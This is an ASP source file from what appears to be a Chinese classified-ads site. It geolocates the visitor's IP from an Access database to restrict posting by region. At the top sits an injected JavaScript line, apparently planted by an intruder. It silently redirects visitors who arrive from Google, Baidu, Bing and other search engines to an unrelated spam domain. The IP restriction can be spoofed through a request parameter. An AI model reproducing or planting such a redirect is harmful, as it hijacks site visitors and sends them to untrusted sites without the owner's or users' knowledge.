d:\wwwroot\wuchunhua\stop_post.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
' @@@@@@ www.kqiqi.com @@@@@@@@@@@@@@@@@
003:
' @ @
004:
' @ @
005:
' @ 客齐齐分管理系统，做最好的分类系统。 @
006:
' @ @
007:
' @ @
008:
' @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
009:
%
>
010:
<%
011:
clientip=request("ip")
012:
If clientip ="" Then
013:
clientip = Request.ServerVariables("REMOTE_ADDR")
014:
'else
015:
'clientip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
016:
end if
017:
018:
019:
Function getIpvalue(clientIP)'得到客户端 的IP转换成长整型，返回值getIpvalue
020:
On Error Resume Next
021:
Dim strIp,array_Ip
022:
strIp=0
023:
array_Ip = Split(clientIP,".")
024:
If UBound(array_Ip)<>3 Then
025:
getIpvalue=0
026:
Exit Function
027:
End If
028:
For i=0 To 3
029:
strIp=strIp+(CInt(array_Ip(i))*(256^(3-i)))
030:
Next
031:
'getIpvalue=strIp-1
032:
getIpvalue=strIp
033:
If Err Then getIpvalue=0
034:
035:
End Function
036:
Set Connip=Server.CreateObject("ADODB.Connection")
037:
Connip.Open "DRIVER={Microsoft Access Driver (*.mdb)};DBQ="&Server.Mappath("data/IP.mdb")
038:
IpValue=getIpvalue(clientIP)
039:
SQL = "SELECT * FROM [IP] WHERE StartIP<=" & IpValue & " AND EndIP>=" & IpValue
040:
'Sql="select * from [IP] where "&IpValue&" between StartIP and EndIP"
041:
Set RsIp = Connip.Execute ( SQL )
042:
If RsIp.bof and RsIp.eof then
043:
UrlCity="未知"
044:
Else
045:
UrlCity=RsIp.Fields.Item("Country").Value
046:
'UrlCity=RsIp(0)&" "&RsIp(1)
047:
if areas="1" then
048:
If Instr(LCase(UrlCity),""&area1&"")<>0 or Instr(LCase(UrlCity),""&area2&"")<>0 or Instr(LCase(UrlCity),""&area3&"")<>0 or Instr(LCase(UrlCity),""&area4&"")<>0 or Instr(LCase(UrlCity),""&area5&"")<>0 Then
049:
else
050:
'Response.Write "<script language='javascript'>alert('为了保证网站信息真实度及本地化,本站只接受广东"&city&","&area1&","&area2&","&area3&","&area5&"等地区IP发布,广告联系QQ:"&qqa&"！');history.back();</script>"
051:
'response.redirect "/index.asp"
052:
response.redirect "err/ipcheck.asp"
053:
end if
054:
end if
055:
End If
056:
Set Connip = Nothing
057:
RsIp.close
058:
Set RsIp=Nothing
059:
%
>
060:
061:
062:
063: